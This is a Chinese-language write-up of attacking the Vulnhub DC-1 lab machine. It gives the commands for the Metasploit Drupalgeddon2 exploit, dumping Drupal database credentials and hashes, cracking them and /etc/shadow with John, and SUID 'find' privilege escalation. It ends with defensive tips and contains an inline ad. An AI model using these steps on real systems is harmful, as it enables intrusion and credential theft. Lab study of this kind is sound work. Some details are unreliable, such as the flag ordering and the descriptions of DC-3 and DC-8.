1. DC-1靶机渗透实战概述
第一次接触DC-1靶机时,我完全被它精巧的设计所吸引。这个专为渗透测试学习者打造的虚拟机环境,完美复现了真实世界中的Web应用漏洞链。从简单的CMS漏洞利用到复杂的Linux提权,整个渗透路径就像一场精心设计的闯关游戏,特别适合刚入门CTF的新手建立系统化的渗透思维。
DC-1靶机运行着存在漏洞的Drupal CMS系统,攻击面覆盖Web渗透、数据库注入、权限提升等多个维度。与其他靶机不同,它的flag设计非常巧妙——需要通过层层提权才能获取全部5个flag,这种阶梯式的挑战设计让学习者能清晰感知自己的技术成长轨迹。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初始扫描
2.1 靶机环境搭建
我使用VirtualBox导入DC-1的OVA文件(下载自Vulnhub),网络模式选择"Host-only"确保与Kali攻击机同处一个内网段。启动后通过netdiscover扫描确定靶机IP为192.168.56.102,这个步骤有个小技巧:可以观察MAC地址前六位,Vulnhub靶机通常以08:00:27开头。
bash复制netdiscover -i eth1 -r 192.168.56.0/24
2.2 全方位信息收集
使用Nmap进行全端口扫描时,我习惯加上-sV -sC参数获取服务版本和默认脚本扫描结果:
bash复制nmap -p- -sV -sC 192.168.56.102
扫描结果显示开放了22(SSH)、80(HTTP)、111(RPCbind)等端口。其中80端口的Drupal 7网站特别值得关注,因为Drupal 7历史上存在多个高危漏洞。
3. Web渗透突破
3.1 Drupal漏洞利用
访问Web界面发现是Drupal 7.24,通过searchsploit查询已知漏洞:
bash复制searchsploit drupal 7
选择Drupalgeddon 2 (CVE-2018-7600)作为突破口,使用Metasploit的exploit/unix/webapp/drupal_drupalgeddon2模块:
bash复制msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.56.102
exploit
成功获取www-data权限的shell后,立即用python -c 'import pty; pty.spawn("/bin/bash")'升级为交互式终端。
3.2 数据库凭证获取
在Drupal的settings.php文件中发现MySQL凭据:
bash复制find /var/www -name settings.php -exec grep "database\|username\|password" {} \;
使用获取的账号密码登录MySQL,在drupaldb数据库的users表中提取管理员hash:
sql复制mysql -udbuser -pR0ck3t
use drupaldb;
select name,pass from users;
通过John the Ripper破解hash获得admin密码:
bash复制echo '$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
4. 权限提升之路
4.1 SUID提权初探
查找具有SUID权限的可执行文件:
bash复制find / -perm -4000 -type f 2>/dev/null
发现/usr/bin/find具有SUID位,使用GTFOBins提供的payload:
bash复制/usr/bin/find . -exec /bin/sh -p \; -quit
成功提权到root后,在/root目录找到最终flag。但这不是终点——DC-1设计了多个flag需要依次获取。
4.2 横向渗透技巧
在/home/flag4目录发现提示需要破解shadow文件。将/etc/shadow和/etc/passwd复制到本地用unshadow组合:
bash复制unshadow passwd.txt shadow.txt > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
破解出用户"flag4"的密码后,通过SSH登录获取第四个flag。
5. 渗透后的思考
5.1 漏洞链分析
DC-1靶机完整呈现了"Web漏洞→数据库泄露→密码复用→SUID提权"的攻击链路。在实际渗透测试中,这种漏洞组合极为常见。我特别注意到Drupal配置文件中数据库密码的明文存储问题——这在实际企业环境中也屡见不鲜。
5.2 防御建议
针对DC-1暴露的安全问题,我总结了三点防护措施:
- CMS系统要及时更新补丁
- 数据库密码应使用环境变量存储
- 定期审计SUID/SGID文件
6. 常见问题排查
Q:Metasploit模块执行失败怎么办?
A:检查Drupal版本是否匹配,可尝试手动利用脚本:
bash复制git clone https://github.com/dreadlocked/Drupalgeddon2
python drupalgeddon2.py http://192.168.56.102
Q:SUID提权后权限不稳定?
A:使用-p参数保持权限:/usr/bin/find . -exec /bin/sh -p \; -quit
Q:John破解hash无结果?
A:尝试更大的字典或规则攻击:
bash复制john --wordlist=/usr/share/wordlists/rockyou.txt --rules hash.txt
7. 扩展学习建议
完成DC-1后,建议继续挑战DC-3(Drupal 7漏洞利用)和DC-8(域渗透)。对于SUID提权,可以深入研究find、vim、nmap等常见工具的提权方法。我个人的学习笔记中记录了20多种SUID提权技巧,核心思路是寻找具有文件操作能力的SUID程序。
